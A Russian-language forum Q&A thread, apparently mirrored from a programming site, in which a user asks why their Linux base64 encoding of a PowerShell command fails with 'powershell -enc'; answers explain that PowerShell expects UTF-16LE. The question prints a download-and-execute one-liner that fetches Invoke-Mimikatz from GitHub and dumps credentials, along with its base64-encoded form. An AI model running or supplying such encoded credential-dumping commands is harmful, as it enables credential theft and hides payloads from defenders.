Требуется кодировка Powershell base64 - PullRequest
0 голосов
/ 12 ноября 2018

Я хочу выполнять закодированные в base64 команды в powershell.Например, я взял команду из этого репозитория github: https://gist.github.com/gfoss/ca6aa37f97fd400ff14f. Запуск mimikatz one:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

Если я запускаю его прямо в командной строке powershell, он работает правильно.Проверяя версию в кодировке base64, я вижу, что она также работает правильно:

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

Однако я не уверен, как была закодирована эта строка.Если я пытаюсь кодировать его в Linux, я получаю другую строку (я просто изменил кавычки, чтобы bash не интерпретировал $):

echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=

Эта кодировка завершается неудачно, когда я пытаюсь запустить ее с powershell -enc.

Какую кодировку следует использовать, чтобы сделать строку полностью совместимой с powershell?

Ответы [ 2 ]

0 голосов
/ 13 ноября 2018

PowerShell ожидает, что строка base64 будет Unicode закодирована, а Unicode - это Windows-lingo для UTF-16 с прямым порядком байтов.

Вы можете использовать iconv для преобразования в UTF-16LE, есливам нужно кодировать команду PowerShell из оболочки Linux без доступа к .NET:

iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0
0 голосов
/ 12 ноября 2018

использовать один из примеров PowerShell?

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...